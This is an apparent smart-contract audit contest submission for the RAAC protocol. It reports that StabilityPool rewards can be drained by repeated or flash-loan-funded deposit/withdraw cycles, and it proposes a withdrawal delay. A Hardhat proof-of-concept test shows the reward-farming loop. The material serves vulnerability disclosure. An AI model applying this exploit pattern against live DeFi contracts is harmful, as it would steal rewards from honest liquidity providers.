Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

[H-09]: Minting of raac is limited but withdrawal is not via the StabilityPool

Summary

The liquidity providers to the LiquidityPool have the possibility of depositing any amount and withdrawing right after, taking with them a percentage of the total RAACToken available as rewards for providing funds.

Vulnerability Details

This issue not only leads to the possibility of depositing/withdrawing in a loop, in the same transaction, to take as many rewards as it's profitable to do, but it also opens the contract to a flash loan attack since a malicious user could take a flash loan for a big amount of rTokens, deposit() them (potentially becoming the owner of a majority of the deToken() supply, used to compute the reward they will get), withdraw() and pocket the majority of the rewards accumulated till that point.

Location

Impact

This vulnerability leads to an unstable pool due to the lack of incentives for users to keep the funds in instead of depositing and withdrawing at the best time/at all times according to the best MEV strategy.
This of course is undesirable to keep the entire protocol solvent in case of liquidations without any funds in the stability pool and punishes any user that engages with the protocol in good faith.

Tools Used

Manual review

Recommendations

The easiest solution would be introducing a "withdrawal delay" after each deposit, when the target user (tracked via a mapping) is not allowed to withdraw until the period expires.
This should stabilize the supply of funds since in order to get the rewards, the liquidity provider will have to stick around a set amount of time and will block flash loan attacks altogether.

Proof of Code

Code shows how it's possible to just deposit/withdraw without any issues and how it gives an unfair advantage in terms of rewards compared to an honest user.

import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
import { time } from "@nomicfoundation/hardhat-network-helpers";
import { deployContracts } from './utils/deployContracts.js';
describe('Exploit Tests', function () {
// Set higher timeout for deployments
this.timeout(300000); // 5 minutes
let contracts;
let owner, user1, user2, user3, treasury, repairFund;
const INITIAL_MINT_AMOUNT = ethers.parseEther('1000');
const HOUSE_TOKEN_ID = '1021000';
const HOUSE_PRICE = ethers.parseEther('100');
const ONE_YEAR = 365 * 24 * 3600;
const FOUR_YEARS = 4 * ONE_YEAR;
const BASIS_POINTS = 10000;
before(async function () {
[owner, user1, user2, user3, treasury, repairFund] = await ethers.getSigners();
contracts = await deployContracts(owner, user1, user2, user3);
const displayContracts = Object.fromEntries(Object.entries(contracts).map(([key, value]) => [key, value.target]));
console.log(displayContracts);
// Set house price for testing
await contracts.housePrices.setHousePrice(HOUSE_TOKEN_ID, HOUSE_PRICE);
// Mint initial tokens to users
for (const user of [user1, user2, user3]) {
await contracts.crvUSD.mint(user.address, INITIAL_MINT_AMOUNT);
}
});
describe('Highs:', function () {
it('[H-09]: Minting of raac is limited but withdrawal is not via the StabilityPool', async function () {
const STABILITY_DEPOSIT = ethers.parseEther('200');
// user1 setup
await contracts.crvUSD.connect(user1).approve(contracts.lendingPool.target, STABILITY_DEPOSIT);
await contracts.lendingPool.connect(user1).deposit(STABILITY_DEPOSIT);
await contracts.rToken.connect(user1).approve(contracts.stabilityPool.target, STABILITY_DEPOSIT);
await contracts.stabilityPool.connect(user1).deposit(STABILITY_DEPOSIT);
// user2 setup
await contracts.crvUSD.connect(user2).approve(contracts.lendingPool.target, STABILITY_DEPOSIT);
await contracts.lendingPool.connect(user2).deposit(STABILITY_DEPOSIT);
// deposit and withdraw user2
for(let i=0;i<10;i++){
await contracts.minter.tick();
console.log("Remaining raac tokens: " + await contracts.raacToken.balanceOf(contracts.stabilityPool.target));
let user2Rtokens = await contracts.rToken.balanceOf(user2.address);
await contracts.rToken.connect(user2).approve(contracts.stabilityPool.target, user2Rtokens);
console.log("Rtokens: " + user2Rtokens);
await contracts.stabilityPool.connect(user2).deposit(user2Rtokens);
console.log("user2 raac after deposit: " + await contracts.raacToken.balanceOf(user2.address));
await contracts.stabilityPool.connect(user2).withdraw(user2Rtokens);
console.log("user2 raac after withdraw: " + await contracts.raacToken.balanceOf(user2.address) + "\n");
}
// withdraw user1 and check diff
await contracts.minter.tick();
console.log("Final amount (not withdrawn yet) rewards user1: " + await contracts.stabilityPool.calculateRaacRewards(user1.address));
console.log("Final amount rewards user2: " + await contracts.raacToken.balanceOf(user2.address));
console.log("Diff = " + String(await contracts.raacToken.balanceOf(user2.address) - await contracts.stabilityPool.calculateRaacRewards(user1.address)));
});
});
Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.